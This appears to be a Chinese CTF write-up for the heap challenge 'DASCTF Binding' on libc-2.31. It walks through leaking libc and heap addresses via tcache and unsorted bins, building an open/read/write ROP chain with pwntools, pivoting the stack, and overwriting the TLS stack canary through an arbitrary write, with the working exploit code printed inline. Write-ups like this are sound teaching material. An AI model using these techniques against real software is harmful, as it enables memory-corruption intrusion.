Heap利用与TLS-Canary覆盖
复现DASCTF Binding。
感谢翰青师傅的帮助。
题目
堆题 libc-2.31

功能表

add可以指定大小读入内容,限制了申请堆块的大小

Edit里有栈溢出+任意位置写

Delet里有UAF

Show里也没有限制

解题准备
题目给了配置docker文件夹,只有libc文件,利用glibc-all-in-one查找ld文件,使用patchelf替换
glibc-all-in-one
cd glibc-all-in-one
./update_list
cat list
./download xxxpatchelf
patchelf --set-interpreter ld路径 ./pwnpatchelf --replace-needed libc.so.6 libc路径 ./pwnldd ./pwn 解题思路
首先先解决tcache+泄露libc
for i in range(8):
add(i,0x120,'a')
for i in range(8):
delete(i)libc地址
main_arean = u64(r.recvuntil(b'\x7f').ljust(8,b'\x00')) - 96 #unsortedbin
info(f"main_arean = {hex(main_arean)}")
libc.address = main_arean -0x1ecb80
info(f"libc.address = {hex(libc.address)}") heap地址 tcache的bk指针泄露
show(6,0)
r.recvuntil(b'context: ')
heap = u64(r.recvuntil(b'\n')[:-1].ljust(8,b'\x00')) - 0xcd0
info(f"heap = {hex(heap)}") #tcache bk在新开堆上构造rop链
这里使用了pwntools的ROP类,好用爱用
shellcode_addr = heap + 0x1250 + 0x10 #new 一块内存写rop
pop_rdx = 0x142c92 + libc.address
rop = ROP([libc]) #rop类 好用爱用
rop.open(shellcode_addr+0xa8,0,0)
rop.read(3,heap+0x300,80)
rop.write(1,heap+0x300,80)
info(hex(len(rop.chain()))) #计算flag在哪
rop.raw(b'flag\x00')
info(rop.dump())
add(8,0x200,rop.chain())通过edit栈迁移过去(栈溢出少),注意有Canary。由于我们edit中还有一个任意写8字节。可以修改TLS中的Canary值。在检查Canary时,将TLS中的Canary与栈中Canary做比较。TLS的值偏移与Libc相同。在pwndbg中使用canary打印。0x7ffe987572f9应该是随机出来的数,存放的地方。不是我们要找的TLS-Canary。
TLS-Canary再使用search -cnt value-canary查找。图中查询的值只有第一个不是在栈中,尝试修改后,通过Canary验证。

# 不知道 canary。更改在TLS中的canary值 By通过任意写
canary = ''
leave_addr = libc.address+0x0578c8
payload = b'\x10' + b'A' * (0x30 - 9) + b'B'+b'\x00' * 7 + p64(shellcode_addr - 8) + p64(leave_addr)
pause()
edit(payload,p64(libc.address+0x1f35e8),b'B')
r.interactive()成功获取flag
